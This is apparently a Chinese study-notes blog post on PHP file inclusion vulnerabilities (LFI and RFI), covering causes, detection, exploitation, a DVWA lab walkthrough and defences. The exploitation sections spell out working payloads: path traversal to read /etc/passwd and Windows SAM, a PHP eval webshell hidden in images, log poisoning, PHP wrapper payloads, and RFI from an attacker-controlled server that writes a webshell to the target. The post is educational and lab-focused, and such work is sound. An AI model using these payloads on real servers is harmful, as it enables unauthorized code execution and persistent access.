网络安全中级阶段学习笔记(十二):PHP 文件包含漏洞全解析(原理 + 利用 + 防御 )

本文所有知识点仅用于网络安全防御技术学习 ,测试手段仅可在合法授权的测试环境中使用。未经授权侵入他人系统、窃取信息属违法行为,将承担相应法律责任。网络安全的核心是 "攻防兼备",掌握攻击手段的同时,更要牢记防护使命,共同维护网络空间安全。

目录

一、什么是文件包含漏洞?

核心概念

漏洞本质

二、文件包含漏洞的分类

关键配置说明(php.ini)

三、相关危险函数

四、漏洞特征与检测方法

[1. 常见 URL 特征](#1. 常见 URL 特征)

[2. 快速检测技巧](#2. 快速检测技巧)

五、漏洞利用实战

(一)本地文件包含(LFI)利用

[1. 读取系统敏感文件](#1. 读取系统敏感文件)

[2. 配合文件上传(图片马)](#2. 配合文件上传(图片马))

[3. 包含日志文件](#3. 包含日志文件)

[4. 绝对路径 vs 相对路径示例](#4. 绝对路径 vs 相对路径示例)

(二)远程文件包含(RFI)利用

[1. 直接执行远程代码](#1. 直接执行远程代码)

[2. 写入 webshell 到目标服务器](#2. 写入 webshell 到目标服务器)

(三)伪协议高级利用

[六、靶场练习(DVWA LOW 级别)](#六、靶场练习(DVWA LOW 级别))

环境准备

实战步骤

[1. LFI 读取 php.ini](#1. LFI 读取 php.ini)

[2. RFI 执行远程代码](#2. RFI 执行远程代码)

[3. 写入 webshell](#3. 写入 webshell)

七、漏洞防御方案

总结


一、什么是文件包含漏洞?

核心概念

开发人员为复用代码,会用include()等函数调用外部文件,若传入的文件名未做校验,被攻击者控制并传入恶意文件,就会引发文件包含漏洞。

简单说:代码里的 "文件调用" 参数能被篡改,攻击者就能让服务器执行不该执行的文件,比如读取敏感信息、注入恶意代码。

漏洞本质

  • 服务器执行文件时,不管后缀名,只要内容是合法 PHP 代码就会执行;不是则直接打印文件内容。
  • 核心成因:用户输入未过滤 + 危险函数调用 + 不安全配置

二、文件包含漏洞的分类

类型 定义 关键条件 示例
本地文件包含(LFI) 包含服务器本地的文件(相对 / 绝对路径) 无需开启特殊配置,默认存在风险 ?file=../../etc/passwd
远程文件包含(RFI) 包含互联网上的 URL 格式文件 需开启allow_url_fopen=Onallow_url_include=On(默认后者关闭) ?page=http://攻击者服务器/恶意.php

关键配置说明(php.ini)

复制代码
allow_url_fopen = On  # 默认开启,允许打开URL文件(LFI不受此影响)
allow_url_include = Off  # 默认关闭,开启后才可能触发RFI

三、相关危险函数

  • include():执行到函数时才包含,报错仅警告,继续运行
  • include_once():与include()功能一致,避免重复包含
  • require():程序启动即包含,报错直接终止脚本
  • require_once():与require()功能一致,避免重复包含

提示:这些函数本身没问题,风险在于传入的参数未做过滤!

四、漏洞特征与检测方法

1. 常见 URL 特征

  • ?page=xxx.php
  • ?file=content
  • ?home=xxx.html

2. 快速检测技巧

检测目标 测试 payload 说明
本地文件读取 ?file=../../../../etc/passwd(Linux)或 ?file=C:\boot.ini(Windows) 读取系统敏感文件,验证是否存在 LFI
远程文件包含 ?page=http://你的服务器/1.txt(1.txt 内写 PHP 代码) 若执行成功,说明 RFI 可利用
路径遍历 ?file=../2.php 尝试访问上级目录的文件

五、漏洞利用实战

(一)本地文件包含(LFI)利用

1. 读取系统敏感文件
系统 敏感文件路径 用途
Windows C:\boot.ini 查看系统版本
Windows C:\windows\repair\sam 存储系统初始密码哈希
Windows C:\php.ini PHP 配置信息
Linux /etc/passwd 系统用户列表
Linux /usr/local/apache2/conf/httpd.conf Apache 配置
通用 数据库配置文件(如./config.php) 获取数据库账号密码
2. 配合文件上传(图片马)
  1. 制作图片马:将 PHP 代码(如<?php @eval($_REQUEST[123]);?>)插入图片末尾,保存为shell.jpg
  2. 通过文件上传漏洞上传shell.jpg
  3. 利用 LFI 包含图片马:?file=./upload/shell.jpg
  4. 连接 webshell:?123=phpinfo();
3. 包含日志文件

服务器日志会记录请求信息,若日志未限制写入,可注入 PHP 代码:

  1. 构造请求:http://目标IP/<?php phpinfo();?>(日志会记录该请求)
  2. 包含日志文件:?file=/var/log/httpd/access.log(Apache+Linux 日志路径)
  3. 服务器会执行日志中的 PHP 代码
4. 绝对路径 vs 相对路径示例
  • 绝对路径:?file=C:\phpstudy\Apache\conf\httpd.conf
  • 相对路径:?file=../Apache/conf/httpd.conf(从当前目录向上遍历)

(二)远程文件包含(RFI)利用

1. 直接执行远程代码
  1. 攻击者在自己的服务器创建1.txt,内容:<?php phpinfo();?>
  2. 目标 URL 注入:?page=http://攻击者IP/1.txt
  3. 目标服务器会将1.txt当作 PHP 执行,返回 phpinfo 信息
2. 写入 webshell 到目标服务器
  1. 修改1.txt内容:
php 复制代码
<?php
$f = fopen("a.php", "w");  // 在目标服务器创建a.php
fputs($f, '<?php @eval($_REQUEST[123]);?>');  // 写入一句话木马
?>
  1. 访问?page=http://攻击者IP/1.txt,触发文件创建
  2. 直接连接:http://目标IP/a.php?123=phpinfo();

(三)伪协议高级利用

PHP 内置多种 "伪协议",可绕过过滤、读取源码或执行代码,核心常用如下:

伪协议 用途 关键条件 示例
file:// 访问本地文件系统 无,不受配置影响 ?file=file://C:\Windows\hosts
php://filter 读取文件源码(base64 编码) ?file=php://filter/read=convert.base64-encode/resource=config.php(解码后获源码)
php://input 执行 POST 数据中的 PHP 代码 需开启allow_url_include=On GET 参数:?file=php://input,POST 数据:<?php phpinfo();?>
data:// 直接执行代码(支持 base64) 需开启allow_url_include=On 明文:?file=data://text/plain,<?php phpinfo();?>;base64:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip:// 包含压缩文件内的 PHP 代码 无,可改后缀绕过上传限制 1. 把shell.php压缩为shell.zip;2. 改名为shell.jpg上传;3. 包含:?file=zip://C:\upload\shell.jpg%23shell.php(%23 是 #的 URL 编码)

提示:伪协议是 LFI 绕过过滤的 "神器",比如php://filter能读取无法直接访问的 PHP 源码!

六、靶场练习(DVWA LOW 级别)

环境准备

  1. 用 PHPstudy 搭建 DVWA,打开php.ini,设置allow_url_include=On,重启 Apache
  2. 进入 DVWA → Vulnerabilities → File Inclusion

实战步骤

1. LFI 读取 php.ini
  • 构造 URL:http://localhost/dvwa/vulnerabilities/fi/?page=../../../../phpStudy/PHPTutorial/WWW/DVWA/php.ini
  • 成功读取 PHP 配置信息
2. RFI 执行远程代码
  • 本地创建3.txt,内容:<?php phpinfo();?>
  • 构造 URL:http://localhost/dvwa/vulnerabilities/fi/?page=http://192.168.0.104/3.txt
  • 页面返回 phpinfo,说明 RFI 利用成功
3. 写入 webshell
  • 修改3.txt内容:<?php fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[123]);?>')?>
  • 访问上述 URL,触发 a.php 创建
  • 连接:http://localhost/dvwa/vulnerabilities/fi/a.php?123=phpinfo();

七、漏洞防御方案

  1. 禁用危险配置 :设置allow_url_include=Off(核心),allow_url_fopen按需关闭
  2. 限制文件范围
    • 白名单机制:仅允许包含指定文件(如$allow = ['home.php','about.php']; if(in_array($file,$allow)){include($file);}
    • 配置open_basedir:限制 PHP 只能访问指定目录(如open_basedir = /var/www/html/
  3. 严格过滤输入
    • 过滤../..\等路径遍历字符
    • 禁止传入http://https://file://等伪协议关键字
  4. 初始化变量 :确保包含的变量(如$file)有默认值,避免直接接收用户输入
  5. 服务器端过滤:所有过滤逻辑放在服务器端,客户端过滤仅作辅助(不可信)

总结

文件包含漏洞的核心风险是 "未授权文件访问 + 代码执行",LFI 默认存在,RFI 依赖特定配置。防御的关键是限制输入、禁用危险配置、缩小文件访问范围

实际渗透中,常结合文件上传、日志注入等技巧放大危害,日常开发需牢记:用户输入皆是不可信的,必须经过严格校验后再使用!

相关推荐
走在路上的菜鸟2 小时前
Android学Dart学习笔记第二十四节 类-可调用对象Class()()
android·笔记·学习·flutter
HAREWORK_FFF2 小时前
北京一隅:我的CAIE认证报考与学习手记
学习
鲨莎分不晴2 小时前
独立学习 (IQL):大道至简还是掩耳盗铃
人工智能·深度学习·学习
鲨莎分不晴2 小时前
从 10 到 1000:大规模多智能体的可扩展性 (Mean Field & GNN)
人工智能·学习
nnsix2 小时前
Unity SenseGlove力反馈手套 sdk 笔记
笔记
roman_日积跬步-终至千里2 小时前
【人工智能导论】09-学习-注意力机制与Transformer:用注意力机制动态关注,用Transformer并行计算,用GPT理解生成语言
人工智能·学习·transformer
智嵌电子2 小时前
【笔记篇】【硬件基础篇】模拟电子技术基础 (童诗白) 第0章 绪论
笔记·嵌入式硬件·模拟电子技术基础
red_redemption2 小时前
藤井風《何なんw》
学习
江苏世纪龙科技2 小时前
汽车结构原理VR课:看得见、摸得着的机械世界
学习